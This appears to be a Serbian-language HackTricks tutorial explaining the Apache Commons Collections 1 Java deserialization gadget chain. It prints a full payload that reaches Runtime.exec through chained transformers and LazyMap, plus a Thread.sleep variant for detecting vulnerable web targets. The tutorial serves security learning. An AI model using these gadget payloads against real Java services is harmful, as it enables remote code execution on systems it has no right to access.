CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Java Transformers to Rutime exec()
Na nekoliko mesta možete pronaći java deserialization payload koji koristi transformere iz Apache common collections kao što je sledeći:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Ako ne znate ništa o java deserialization payload-ima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
Prvo što treba da znate je da je Transformer u Javi nešto što prima klasu i transformiše je u drugu.
Takođe, zanimljivo je znati da je payload koji se izvršava ovde ekvivalentan:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Ili tačnije, ono što će biti izvršeno na kraju biće:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Kako
Dakle, kako je prvi payload predstavljen ekvivalentan onim "jednostavnim" jednosmernim linijama?
Prvo što možete primetiti u payload-u je da je niz (niz) transformacija kreiran:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Ako pročitate kod, primetićete da ako na neki način povežete transformaciju niza, mogli biste da izvršite proizvoljne komande.
Dakle, kako su te transformacije povezane?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
U poslednjem delu payload-a možete videti da je Map objekat kreiran. Zatim, funkcija decorate
se izvršava iz LazyMap
sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to uzrokovati da se povezani transformatori kopiraju unutar lazyMap.factory
atributa:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
I onda se izvršava veliki finale: lazyMap.get("anything");
Ovo je kod funkcije get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
I ovo je kod funkcije transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Dakle, zapamtite da smo unutar factory sačuvali chainedTransformer
i unutar transform
funkcije prolazimo kroz sve te povezane transformere i izvršavamo ih jedan za drugim. Zanimljivo je da svaki transformer koristi object
kao ulaz i object je izlaz iz poslednjeg izvršenog transformera. Stoga, svi transformi su povezani i izvršavaju zlonamerni payload.
Sažetak
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformerima unutar get metode, to je kao da izvršavamo sledeći kod:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Napomena kako je value
ulaz svake transformacije i izlaz prethodne transformacije, što omogućava izvršenje jedne linije:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Napomena da su ovde objašnjeni gadgeti korišćeni za ComonsCollections1 payload. Ali je ostavljeno kako sve ovo počinje da se izvršava. Možete videti ovde da ysoserial, kako bi izvršio ovaj payload, koristi AnnotationInvocationHandler
objekat jer kada se ovaj objekat deserializuje, on će pozvati funkciju payload.get()
koja će izvršiti ceo payload.
Java Thread Sleep
Ovaj payload bi mogao biti koristan za identifikaciju da li je web ranjiv jer će izvršiti sleep ako jeste.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Više uređaja
Možete pronaći više uređaja ovde: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.